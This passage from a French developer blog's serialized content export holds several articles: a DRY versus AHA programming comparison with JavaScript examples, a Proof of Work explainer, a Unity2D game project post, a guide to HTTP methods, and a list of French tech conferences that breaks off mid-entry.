Results : \n - Hello John Doe\n - Hello Anonymous\n */\n```\n\n### DRY\n\n```\n\nfunction getName(user, {firstnameInitial, displayEmailByDefault}){\n let name = 'Anonymous';\n if(user.name) {\n let first = user.name.first;\n if(firstnameInitial){\n first = first.slice(0, 1);\n } \n name = `${first}. ${user.name.last}`;\n } else if(user.username) {\n name = user.username;\n } else if(displayEmailByDefault){\n name = user.email;\n }\n return name;\n}\n\n// user-list.js\nconsole.log(getName(user,{firstnameInitial: true}));\n\n// profile.js\nconsole.log(getName(user, {displayEmailByDefault: true}));\n\n// navbar.js\nconsole.log('Hello', getName(user));\n```\n\n### AHA\n\n```\n\nfunction getFullName(user, firstnameInitial){\n let name = 'Anonymous';\n if(user.name) {\n let first = firstnameInitial ? user.name.first.slice(0, 1) + '.' : user.name.first;\n name = `${first} ${user.name.last}`;\n }\n return name;\n}\n\nfunction getUsernameOrEmail(user){\n let username = user.username;\n if(!username) {\n username = user.email\n }\n return username;\n}\n\n// user-list.js\nconsole.log(getFullname(user, true));\n\n// profile.js\nconsole.log(getUsernameOrEmail(user));\n\n// navbar.js\nconsole.log('Hello', getFullname(user));\n```\n\n## Conclusion\n\nAucun des concepts de DRY ni de WET ne sont à jeter, mais ce qu'il faut éviter à tout pris, **c'est l'application dogmatique des principes et l'abstraction trop hâtive, voir inutile.**\n\n","Le concept DRY vous parait semé d'embûches mais personne ne semble de votre avis ? Cet article devrait vous intéresser.","decouvrir-le-concept-du-aha-programming","2021-12-20T13:55:38.000Z","2023-09-19T15:05:43.479Z","2021-12-22T06:38:13.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/12/taton-moise-zWQ7zsBr5WU-unsplash.jpg","Taton Moïse sur Unsplash","https://unsplash.com/@moyse?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1800,"title":1801,"content":1802,"socialTitle":8,"description":1803,"socialDescription":8,"slug":1804,"createdAt":1805,"updatedAt":1806,"publishedAt":1807,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1808,"coverCopyright":1809,"coverCopyrightLink":1810},318,"Qu'est-ce que le concept de \"Proof Of Work\" ?","Avec la médiatisation des cryptomonnaies, des NFTs et autres produits basés sur des technologies type \"blockchain\", **on entend régulièrement parler de vérification par POW.**\n\n> POW est l'abbréviation pour \"Proof Of Work\" (ou \"preuve de travail\" en Français).\n\n**Pour ne prendre que l'exemple le plus connu du Bitcoin**, ce dernier utilise le concept du Proof Of Work pour le minage de nouveaux blocs par exemple, mais qu'est-ce que cela signifie réellement, nous allons le découvrir ensemble !\n\n## Théorie\n\nEn 1993, [Cynthia Dwork](https://en.wikipedia.org/wiki/Cynthia_Dwork) et [Moni Naor](https://en.wikipedia.org/wiki/Moni_Naor) cherchent **une solution pour réduire drastiquement le spam reçu au travers d'un réseau d'adresses e-mails** devenant critique.\n\nCes derniers en arrivent à l'idée d'un protocole de vérification asynchrone, **donnant du fil à retordre aux spammeurs, tout en gardant la vie facile des récipiendaires.**\n\nCette méthode, c'est le \"Proof Of Work\" : **le concept est de demander un travail de calcul aux machines souhaitant envoyer des e-mails**, comme pour montrer une preuve de \"motivation\".\n\n> Comme un captcha, mais réservé aux machines cette fois !\n\nImaginons celà dans la vie réelle : Même si vous êtes devant moi, j'ai décidé de ne vous écouter que si vous trouvez (sans l'aide d'un dictionnaire), **un mot français valide, contenant 9 lettres, commençant par \"g\" et finissant par \"t\".**\n\nIl y a de fortes chances que vous passiez des dizaines de minutes à trouver un tel mot, et si votre message n'est pas de la plus haute importance, **vous ne ferez pas l'effort d'effectuer ce \"calcul\".**\n\n**Pourtant, si vous le trouvez, de mon côté, la validation est très simple** : je regarde le mot, je compte les lettres, je regarde le début et la fin et j'accepte de vous parler.\n\nLe concept théorique de Proof Of Work se limite donc à **demander un effort de calcul/algorithmie à une machine, tout en rendant la validation sans effort !**\n\n## Mise en pratique\n\nReprenons notre exemple du Bitcoin, cette célèbre cryptomonnaie utilise la preuve de travail **en tant que protocole de consensus pour deux tâches disctintes :**\n\n* Miner de nouveaux blocks (créer de nouveaux \"coins\")\n* Valider les transactions existantes\n\n> Un protocole de consensus permet à un ensemble de noeuds d'un système décentralisé de tomber d'accord.\n\nEt en l'occurence, **tomber d'accord sur la véracité des données**, si jamais des données illégales ont été injectée.\n\nLorsque l'une des machine a trouvé la solution à la problématique posée pour créer un nouveau bloc par exemple, **toutes les autres machines du réseau peuvent instantannément valider le résutat.**\n\nLe protocole de Proof of Work permet d'éviter que ce soit simplement le nombre de machines qui puisse peser dans la balance, **mais également la puissance de calcul et l'implication dans le réseau.**\n\n> On rend plus difficile l'accès aux machines malveillantes, car le retour sur investissement d'une attaque est alors inintéressante.\n\n### L'algorithme PoW derrière le Bitcoin\n\nJe vous ai vulgarisé un algorithme théorique avec un mot à trouver dans le début de cet article, **mais vous allez voir que l'algorithme réel n'est pas si loin que ça, simplement plus \"informatique\" et \"cryptographique\".**\n\n**Cet algorithme est communément appelé \"HashCash\"**, le nom du premier projet dans lequel ce dernier a été implémenté et est basé sur la méthode de hachage \"SHA-256\".\n\nPour qu'une machine puisse valider un bloc, elle devra partir d'une chaine, et en ajoutant un nombre à cette chaine (appelé le \"nonce\"), **faire que le hash-256 de cette dernière commence par quatre zéro par exemple.**\n\nCe qui donnerait:\n\n* Chaine de base : \"Hello, world!\"\n* On ajoute l'entier \"Hello, world!0\"\n* Le hash de la chaine+nonce : \"1312af178c253f84\\[...\\]ec81976192e2ec934c64\"\n\nEst-ce que ce hash commence par 4 zéros ? **Non, alors on continue d'incrémenter :**\n\n* \"Hello, world!1\" : \"e9afc424b79e4f6ab42d99\\[...\\]be78e948a9332a7d8\"\n* \"Hello, world!2\" : \"ae37343357a829759162e\\[...\\]32aa475cf05fd4266b7\"\n* ...\n* \"Hello, world!4250\" : \"**0000c3af42fc31103f1fd\\[...\\]7cc52ea464e12dcd4e9**\"\n\n> Bingo ! Le \"nonce\" valide est donc 4250, il ne reste plus qu'à ce que les autres noeuds du réseau valident mon résultat, et j'aurais validé un bloc !\n\nÀ noter qu'en réalité, l'algorithme PoW du Bitcoin n'utilise pas un nombre de zéros pour la vérification, [mais un entier naturel cible dont le hash doit être strictement inférieur, mais le concept est le même.](https://www.freecodecamp.org/news/how-bitcoin-mining-really-works-38563ec38c87/)\n\n","Vous êtes intéressé par la blockchain et le concept de Proof of Work reste un mystère ? ","quest-ce-que-le-concept-de-proof-of-work","2022-01-03T10:30:12.000Z","2023-09-19T15:05:43.507Z","2022-01-03T12:44:34.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/ricky-kharawala-4dVDBMAho8c-unsplash.jpg","Ricky  Kharawala sur Unsplash","https://unsplash.com/@sweetmangostudios?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1812,"title":1813,"content":1814,"socialTitle":8,"description":1815,"socialDescription":8,"slug":1816,"createdAt":1817,"updatedAt":1818,"publishedAt":1819,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1820,"coverCopyright":1821,"coverCopyrightLink":1822},322,"Créer un jeu en 20h avec Unity2D (Résultat+Code)","En 2021 je me suis lancé un défi : **Développer un jeu vidéo de A à Z sous Unity2D, le tout en live sur Twitch**, à raison de 1 à 2h tous les vendredi ! Et aujourd'hui ce projet est terminé !\n\n> Mais ça veut dire quoi exactement, terminé ?\n\n**Mon objectif était d'avoir un jeu basique mais avec un menu, une sélection de niveau, un niveau jouable** avec suffisamment de mécaniques, une interface, des animations et du son. Et la version actuelle du jeu contient tout ça !\n\nLes mécaniques de jeux disponibles sont :\n\n* Marcher\n* Sauter\n* Ramasser des objets (pommes, pièces, clefs)\n* Équiper une arme\n* Attaquer (avec l'arme ou le saut)\n* Ouvrir une porte (si suffisamment de clé, en appuyant sur une touche)\n* Terminer le niveau\n* Mourir (dans le vide, à cause des ennemis ou sur des pics)\n\n**Et voici le résultat final**, en vidéo :\n\n\u003Ciframe width=\"200\" height=\"150\" src=\"https://www.youtube.com/embed/HHzqfyBhkf0?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\n> À noter que l'enregistrement a **bugué** sur certains sons et sur la musique de fond.\n\nIl m'aura fallu 15 sessions de stream, donc **environs 20h de travail pour arriver à ce résultat**, et j'ai bien sûr eu la chance d'être aidé par ma communauté lors des streams !\n\n## Le code\n\n**Le projet est disponible en open-source sur Github**, dont voici le lien :\n\n::: bookmark\n[![](https://repository-images.githubusercontent.com/445556350/fc516a74-6613-449a-b827-582220eb2c61)GitHub - NicolasBrondin/kid-paddle-game](https://github.com/NicolasBrondin/kid-paddle-game)\n:::\n\n**Vous y trouverez le projet Unity au complet** (scripts, sprites, sons, etc...), à noter que je n'ai pas les droits des images issues de Kid Paddle.\n\nSi jamais vous souhaitez comprendre l'évolution du projet, ou simplement regarder les rediffusions des lives, **toutes les vidéos sont disponibles sur Youtube juste ici :**\n\n[https://www.youtube.com/watch?v=aN1RyUA4UfU&list=PLb-wmieCIlnmHI90nkcgG4aAaocGDo-Aw](https://www.youtube.com/watch?v=aN1RyUA4UfU&list=PLb-wmieCIlnmHI90nkcgG4aAaocGDo-Aw)\n\n**Et si vous souhaitez découvrir la suite de mes aventures sur Twitch**, je vous donne rendez-vous tous les vendredis, juste ici : [https://twitch.tv/nicolasbrondinbernard](https://twitch.tv/nicolasbrondinbernard)\n\n> _J'espère que cet article vous aura plu, et à bientôt sur le blog._\n\n","Que peut-on faire sur Unity2D en 20h de travail ? Voici la réponse !","creer-un-jeu-en-20h-avec-unity2d","2022-01-07T14:05:33.000Z","2023-09-19T15:05:43.602Z","2022-01-10T07:18:27.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/kyle-nieber-siMO8TWzLYM-unsplash.jpg","Kyle Nieber sur Unsplash","https://unsplash.com/@kylenieber?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1824,"title":1825,"content":1826,"socialTitle":8,"description":1827,"socialDescription":8,"slug":1828,"createdAt":1829,"updatedAt":1830,"publishedAt":1831,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1832,"coverCopyright":1833,"coverCopyrightLink":1834},324,"Comprendre les méthodes des requêtes HTTP","Il existe 9 méthodes distinctes parmi lesquelles il faut choisir lorsque l'on décide d'envoyer une requête HTTP à un serveur, mais quelles sont leurs différences, leurs utilisations, leurs fonctionnalités et sont-elles toutes utiles ?\n\nNous allons découvrir cela ensemble !\n\n> Dans cet article, j'évoque le concept d'idempotence, si vous n'êtes pas familier avec ce dernier, je vous invite à lire [mon article qui y est consacré](https://code-garage.fr/blog/que-signifie-idempotence-en-programmation/) !\n\n## Les 9 méthodes HTTP\n\n### GET\n\nComme son nom l'indique, GET est une méthode pour récupérer une ressource/information. C'est la plus simple des méthodes, elle ne doit pas contenir de corps \"body\", mais la réponse, elle, en contient généralement un.\n\n> Peut-être mis en cache, et doit être idempotente.\n\n### POST\n\nLa méthode POST sert à créer une ressource. Les données pourront être présentes dans les paramètres de l'URL, ou dans le corps de la requête.\n\nÀ noter que le succès d'une requête POST génèrera souvent une réponse 201 (Created), au lieu de la traditionnelle 200 (Success).\n\n> Pas de cache, et en général non-idempotente (sauf contraintre d'unicité dans les ressources à créer)\n\n### PUT\n\nLes requêtes PUT sont très similaires au requêtes POST, mais pour mettre à jour une ressource complète, au lieu de créer cette dernière de 0.\n\nLes vraies différences avec le POST sont que le status de retour est 200, et que l'opération doit être idempotente.\n\n> Pas de cache, idempotente.\n\n### PATCH\n\nMême utilisation que pour le PUT, mais PATCH est une sémantique particulière pour les mises à jour partielles seulement, et potentiellement non-idempotentes.\n\nOn peut retrouver des cas d'usage dans l'ajout d'une ressource à une liste existente par exemple. Le PUT réinitialiserait la liste en entière (avec ou sans objets à l'intérieur), tandis que le PATCH ajouterai un objet.  \n\n> Pas de cache, pas forcément idempotente.\n\n### DELETE\n\nMême chose que le PUT, mais pour supprimer une entité, et sans corps dans la requête (toutes les informations doivent être passées dans les en-têtes ou l'URI).\n\nLa réponse peut néanmoins contenir un corps, avec la ressource supprimée par exemple.\n\n> Pas de cache, pas de corps (body), idempotente\n\n### OPTIONS\n\nUne requête OPTIONS est ce qu'on appelle une \"pre-flight request\".\n\nC'est elle qui permet au client de s'assurer que la future requête qu'il s'apprète à envoyer répond aux contraintes posées par le serveur (type de contenu disponible, droits d'accès,...). Elle est (souvent) envoyée automatiquement par le client avant une requête qui contient un corps (body) comme POST, UPDATE et DELETE.\n\n> Ne doit pas être mise en cache, même si elle est idempotente.\n\n### HEAD\n\nOn utilise la méthode GET pour récupérer les données \"brutes\" liées à une url, tandis que l'on va utiliser la méthode HEAD pour récupérer cette fois les \"méta-données\" liées à la ressource ou au fichier.\n\nCela va par exemple servir à vérifier si un lien est toujours valide, ou à récupérer le format/poids d'un fichier que l'on souhaiterai télécharger plus tard.\n\n> HEAD peut être mis dans dans le cache, et ni la requête, ni la réponse ne doit contenir de corps (body), tout passe par les en-têtes.\n\n### TRACE\n\nCette méthode est exclusivement réservé au debugging du serveur web, son unique utilité est de vérifier si les requêtes sont bien reçues et les réponses bien envoyées.\n\nDans le fonctionnement normal, chaque message reçu est simplement renvoyé tel-quel, avec les en-têtes:\n\n* Content-Type: message/http\n* Via: Trace de la route qu'a suivi la requêtes (serveur, proxy,...)\n\n> TRACE = Pas de cache, n'est pas utilisé dans les cas d'usages classiques du développement web\n\n### CONNECT\n\nPas vraiment utilisé comme une méthode HTTP classique, CONNECT permet d'utiliser un proxy HTTP comme un tunnel (TCP par exemple).\n\n## Pour aller plus loin\n\nToutes ces méthodes sont documentées dans la section n°9 de la [RFC](https://code-garage.fr/qu-est-ce-qu-une-rfc/) décrivant le fonctionnement du protocole HTTP 1.1, pour en svoir plus, je vous invite à aller lire cette documentation, accessible ici : [https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html](https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html)\n\nDans la série sur le HTTP, je vous invite à lire mon article sur [les principaux code de réponse et leurs significations](https://code-garage.fr/blog/les-codes-de-retour-http-indispensables-a-connaitre/)\n\n","GET, POST, UPDATE, PATCH, quelles différences, pour quelles utilisations ?","comprendre-les-methodes-des-requetes-http","2022-01-17T07:34:49.000Z","2023-10-24T17:48:43.578Z","2022-01-17T11:55:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/jakob-soby-RjPG-_LVmiQ-unsplash.jpg","Jakob Søby sur Unsplash","https://unsplash.com/@jakobsoeby?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1836,"title":1837,"content":1838,"socialTitle":8,"description":1839,"socialDescription":8,"slug":1840,"createdAt":1841,"updatedAt":1842,"publishedAt":1843,"styleHead":8,"scriptFooter":415,"seoTitle":8,"seoDescription":8,"legacyCover":1844,"coverCopyright":1845,"coverCopyrightLink":1846},326,"Liste des 40 conventions sur le dev et la tech en France","**Voici une liste qui se veut exhaustive des conventions pour les développeuses et développeurs**, se déroulant en France, et principalement centrées autour de la technique.\n\nUne convention est un évènement, sur un ou plusieurs jours, qui regroupe des intervenants pour proposer **des conférences, tables rondes, ateliers et autres activités autour d'un thème.**\n\n**Si vous connaissez une conférence qui n'est pas dans cette liste, n'hésitez pas à la communiquer** en commentaire, je l'ajouterai dès que possible !\n\nEt si vous voulez retrouver une liste des évènements partout dans le monde, je vous recommande [](https://github.com/scraly/developers-conferences-agenda)[cette liste par @](https://github.com/scraly/developers-conferences-agenda)aurelievache [hébergée sur Github](https://github.com/scraly/developers-conferences-agenda) !\n\n> Note : Les informations sont tirées des sites et réseaux de chacunes des conférences\n\n## Conventions physiques\n\n### Devoxx - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image.png)\n\nDes conférences, des \"universités\", des quickies, tous les formats sont présent dans LA convention la plus célèbre en France, qui fête sa 10ème édition cette année !\n\n> Le site web : [https://www.devoxx.fr](https://www.devoxx.fr) \n> Prochaine édition : 12 - 14 Avril 2023\n\n### Hack in Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-1.png)\n\nComme sont nom l'indique, c'est la conférence autour de la cyber-sécurité, avec des ateliers, mais aussi des workshops pour mettre les mains dans le camboui !\n\n> Le site web : [https://hackinparis.com](https://hackinparis.com/) \n> Prochaine édition : 25 au 29 Septembre 2023\n\n### Paris Web\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-2.png)\n\nL'un des seuls évènements en France qui se tourne autour de l'accessibilité dans le web !\n\n> Le site web : [https://www.paris-web.fr](https://www.paris-web.fr/)   \n> Prochaine édition : Non annoncée\n\n### BigData Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/20.JPG)\n\nObtenez une vision complète du sujet grâce à trois parcours de conférences complémentaires (stratégie, retours d'expérience, technique), trouvez la réponse à vos problématiques métiers en échangeant avec nos exposants sur place et découvrez les dernières technologies et solutions sur le marché à travers nos ateliers et démos.\n\n> Le site web : [https://www.bigdataparis.com/](https://www.bigdataparis.com/) \n> Prochaine édition : Non annoncée\n\n### Mobilis in Mobile - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/2.JPG)\n\nParticipez au premier rassemblement online des communautés Mobile en France. Une journée dédiée 100% au Mobile où nous y parlerons : technologies, design, marketing...\n\n> Le site web : [https://mobilis-in-mobile.io/](https://mobilis-in-mobile.io/) \n> Prochaine édition : Non annoncée\n\n### Agile en Seine - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/19.JPG)\n\nnous souhaitons vous accueillir autour de 4 thématiques : « Scale» pour continuer à répondre à vos questions autour de la transformation à l’échelle. « Think» pour vous enrichir de nouvelles idées dans ce domaine très plébiscité dans nos éditions précédentes. « Product » pour continuer à faire vivre et évoluer l’essentiel. « Beyond-IT » pour considérer les autres secteurs d’activités où l’agilité s’invite ou est également présente.\n\n> Le site web : [https://www.agileenseine.com/](https://www.agileenseine.com/) \n> Prochaine édition : Non communiquée\n\n### Android Makers - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/5.JPG)\n\nWhere the Android dream comes true!\n\n> Le site web : [https://androidmakers.fr/](https://androidmakers.fr/) \n> Prochaine édition : Non annoncée\n\n### A11Y - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/7.JPG)\n\nA11y Paris, est devenu l’événement incontournable pour faire bouger les lignes dans ce domaine. Son format unique réunissant à la fois experts et utilisateurs à la même table, permet d’échanger sur les problématiques quotidiennes rencontrées par les personnes en situation de handicap.\n\n> Le site web : [https://www.a11yparis.org/](https://www.a11yparis.org/) \n> Prochaine édition : Non annoncée\n\n### Serverless Days Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/21.JPG)\n\n> Le site web : [https://paris.serverlessdays.io/en/](https://paris.serverlessdays.io/en/) \n> Prochaine édition : Non annoncée\n\n### France API - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/11.JPG)\n\nUne journée d’échanges qui a permis aux visiteurs de retrouver les acteurs majeurs des APIs, de découvrir les exposants, d’assister à différentes conférences ainsi qu’à des ateliers démo, de partager des REXs, de capitaliser et de réseauter au sein de l’écosystème des APIs !\n\n> Le site web : [https://franceapi.fr/](https://franceapi.fr/) \n> Prochaine édition : Mardi 13 juin 2023\n\n### Flowcon - Paris\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/14.JPG)\n\nFlowCon réunit depuis 10 ans les professionnels de développement logiciel autour d’une notion principale : le développement de produit en flux, que ce soit Lean Kanban (à l'origine), l’agilité, le Lean, le Continuous Delivery, l’approche Beyond Budgeting, et toutes les réflexions internationales sur les façons de mieux travailler en équipe.\n\nLe site web : [https://flowcon.fr/](https://flowcon.fr/)\n\n### Devfest - Nantes\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-3.png)\n\nLe DevFest, ou ‘Developer Festival’, est une conférence technique  destinée aux développeurs. Elle s’adresse aussi bien aux étudiants, aux  professionnels ou tout simplement aux curieux technophiles.\n\n> Le site web : [https://devfest.gdgnantes.com/](https://devfest.gdgnantes.com/) \n> Prochaine édition : 20 et 21 Octobre 2022\n\n### Web2Day - Nantes\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-4.png)\n\nLe Web2Day c'est la conférence qui lie le web, le dev, la tech et l'entrepreneuriat, au coeur de la cité Nantaise !\n\n> Le site web : [http://web2day.co](http://web2day.co/) \n> Prochaine édition : 31 Mai au 2 Juin 2023\n\n### DevFest - Lille\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-14.png)\n\nUne journée de conférences accessibles sur les thèmes suivants : Web, Mobile, Cloud, DevOps, Big Data et IA.\n\n> Le site web : [https://devfest.gdglille.org](https://devfest.gdglille.org/) \n> Prochaine édition : Non communiqué\n\n### Afup Day - Lille\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/9.JPG)\n\nRejoignez la communauté PHP le vendredi 12 mai à Lille et profitez d’une journée de conférences, d’échanges, de rencontres et de bonne humeur en présence de toute la communauté PHP lilloise… et d’ailleurs.\n\n> Le site web : [https://event.afup.org](https://event.afup.org/) \n> Prochaine édition : Vendredi 12 Mai 2023\n\n### Amiens Tech Festival\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/22.JPG)\n\nDes conférences et afterworks pour coder, sécuriser, designer, déployer. Innover, financer, recruter, manager. Se rencontrer, s'agiter, discuter, collaborer.\n\n> Le site web : [https://amienstechfestival.fr/](https://amienstechfestival.fr/) \n> Prochaine édition : 25 et 26 Janvier 2023\n\n### Blend Web Mix - Lyon\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-6.png)\n\nBlendWebMix est un événement unique sur les nouveaux métiers, les nouveaux usages et les nouvelles technologies. C’est aussi le moment de l’année qui rend le numérique accessible à tous.\n\n> Le site web : [https://www.blendwebmix.com](https://www.blendwebmix.com/en/) \n> Prochaine édition : Non communiquée\n\n### Afup Day - Lyon\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/47934530332_b1492f70c7_c-1.jpg)\n\nRejoignez la communauté PHP le vendredi 20 mai à Lyon et profitez d’une journée de conférences, d’échanges, de rencontres et de bonne humeur en présence de toute la communauté PHP lyonnaise… et d’ailleurs.\n\n> Le site web : [https://event.afup.org/afup-day-2023-lyon/](https://event.afup.org/afup-day-2023-lyon/) \n> Prochaine édition : Vendredi 12 Mai 2023\n\n### MIXIT - Lyon\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/26.jpg)\n\nLa conférence pour l'éthique et la diversité dans la tech avec des crêpes et du cœur.\n\n> Le site web : [https://mixitconf.org/](https://mixitconf.org/) \n> Prochaine édition : Non communiquée (généralement Mai)\n\n### We Love Speed - Lyon\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/25.jpg)\n\nConférences spécialisées sur l'optimisation des technologies web !\n\n> Le site web : [https://www.welovespeed.com](https://www.welovespeed.com) \n> Prochaine édition : Non communiquée (généralement Décembre)\n\n### Touraine Tech - Tours\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-8.png)\n\nUne journée de conférence, à prix accessible, avec des speakers d'exception et des sujets variés autour du dev !\n\n> Le site web : [https://touraine.tech](https://touraine.tech/) \n> Prochaine édition : Non communiquée\n\n### Le templin du Camping des Speakers - Tours\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/6.JPG)\n\nTu rêves de donner ta première conférence mais tu ne sais pas comment t’y prendre ? Bonne nouvelle ! La conférence **Le Camping des Speakers** et les meetups **TADx** et **CraftsRecords** s’associent pour organiser une mini conférence tremplin le 3 mai sur Tours dédiée aux orateurs et oratrices débutants.\n\n> Le site web : [https://conference-hall.io/public/event/YWp80xxngUcObepMyFCJ](https://conference-hall.io/public/event/YWp80xxngUcObepMyFCJ) \n> Prochaine édition : Non communiquée\n\n### Breizh Camp - Rennes\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/23.JPG)\n\nLe BreizhCamp, c'est 3 jours de conférence à Rennes. Le BreizhCamp propose de se faire rencontrer une communauté de développeurs et d’experts, avec un contenu à la carte sur plus de 100 thèmes présentés.\n\n> Le site web : [https://www.breizhcamp.org/](https://www.breizhcamp.org/) \n> Prochaine édition : Non communiquée\n\n### Agile Tour - Rennes\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-9.png)\n\nOuvert à toutes personnes travaillant en équipe, l'Agile Tour Rennes est le rendez-vous annuel des passionnés de l'agilité pour partager ses pratiques et en expérimenter de nouvelles. Cet événement permet la rencontre de personnes diverses et disciplines multiples le tout dans un cadre propice à l'échange et dans une ambiance conviviale.\n\n> Le site web : [https://agiletour.agilerennes.org](https://agiletour.agilerennes.org/) \n> Prochaine édition : Non communiquée\n\n### Hackvens - Rennes\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/16.JPG)\n\nC’est avant tout des passionnés répondant chaque jour aux nouveaux défis de leur environnement. Fort de cette expertise, nous souhaitons proposer une journée de conférences, axée sur nos métiers techniques, ainsi qu'un CTF.\n\n> Le site web : [https://hackvens.fr/](https://hackvens.fr/) \n> Prochaine édition : Non communiquée\n\n### SoCraTes Rennes\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/18.JPG)\n\nSoCraTes Rennes est une non-conférence. Cela signifie que le programme de la journée sera défini sur place, par les participantes et participants. Destiné à celles et ceux qui s’intéressent au développement logiciel, aux tests, à la qualité du code et au software craftsmanship.\n\n> Le site web : [https://socrates-rennes.github.io/](https://socrates-rennes.github.io/) \n> Prochaine édition : Non communiquée\n\n### Volcamp - Auvergne\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/15.JPG)\n\nLa première conférence au cœur des volcans d'Auvergne faite pour les passionnés de technologie, de développement et de terroir.\n\n> Le site web : [https://www.volcamp.io/](https://www.volcamp.io/) \n> Prochaine édition : Non communiquée\n\n### SnowCamp - Grenoble\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/1.JPG)\n\nUne conférence unique pour les devs, les ops et les archis\n\n> Le site web : [https://snowcamp.io/fr/](https://snowcamp.io/fr/) \n> Prochaine édition : 25-28 Janvier 2023\n\n### AlpesCraft - Grenoble\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/10.JPG)\n\nAlpesCraft est une conférence technique, agnostique aux technologies. Nous pensons que le plus important est de bien maîtriser les fondamentaux et d'apprendre les pratiques au-delà des frameworks.\n\n> Le site web : [https://www.alpescraft.fr](https://www.alpescraft.fr) \n> Prochaine édition : Non annoncée (généralement Juin)\n\n### BDX I/O - Bordeaux\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/28.jpg)\n\nBDX I/O est un conférence bordelaise sur le thème de la programmation et de ses métiers annexes.\n\n> Le site web : [https://www.bdxio.fr/](https://www.bdxio.fr/) \n> Prochaine édition : Non communiquée (généralement Décembre)\n\n### Hacking Convention (THCON) - Toulouse\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/4.JPG)\n\nConférences Hacking/Cyber-sécurité & CTF\n\n> Le site web : [https://thcon.party/](https://thcon.party/) \n> Prochaine édition : Non annoncée\n\n### SoCraTes - Drôme\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/8.JPG)\n\nThis event is about the sustainable creation of useful software in a responsible way. It’s about People -Everyone who is concerned with coding, testing, code quality and craft.\n\n> Le site web : [https://socrates-fr.github.io/](https://socrates-fr.github.io/) \n> Prochaine édition : Non annoncée\n\n### SophIA Summit - Sophia Antipolis\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/24.jpg)\n\nThis event brings together global AI experts, in biology, health, mobility and smart applications, covering both core technology and its applications who will present their work through meetings, debates, round tables and posters.\n\n> Le site web : [https://univ-cotedazur.eu/events/sophia-summit](https://univ-cotedazur.eu/events/sophia-summit) \n> Prochaine édition : 23-25 Novembre 2022\n\n## Conventions en ligne\n\n### Async conf - Twitch\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/27.jpg)\n\nAu programme une serie de conferences, tournois de code, stands et autres activités en ligne. L'accès au salon est 100% en ligne et gratuit.\n\n> Le site web : [https://asynconf.fr/](https://asynconf.fr/) \n> Prochaine édition : Non communiquée (généralement Octobre)\n\n### DevNation Day - Paris/Online\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/17.png)\n\n> Le site web : [https://hopin.com/events/devnation-day-france-2022](https://hopin.com/events/devnation-day-france-2022#top) \n> Prochaine édition : Non communiquée\n\n### Cloud Nord - Lille/Youtube\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/01/image-10.png)\n\n_Un moment unique pour parager et découvrir les enjeux et technologies stratégiques du moment _afin d'en comprendre_ leurs intérêts et impacts sur le SI, l'entreprise et la société_\n\n> Le site web : [https://www.cloudnord.fr](https://www.cloudnord.fr/)   \n> Prochaine édition : 29 Septembre 2023\n\n### Cloud Ouest - Bordeaux/Nantes/La Rochelle/Online\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/12.JPG)\n\nVous y retrouverez près de 40 sessions animées par des experts du domaine pour découvrir et échanger autour des dernières tendances, innovations et usages du cloud computing. Toutes les technologies y seront représentées.\n\n> Le site web : [https://cloudouest.fr/](https://cloudouest.fr/) \n> Prochaine édition : Non communiquée\n\n### Agile Tour - Bordeaux/Visio\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/11/13.JPG)\n\nVous êtes convaincus par l’agilité, vous souhaitez la mettre en place dans votre entreprise ou tout simplement vous en avez entendu parler et êtes curieux sur le sujet, nous serons ravis de vous accueillir pour cette nouvelle édition !\n\n> 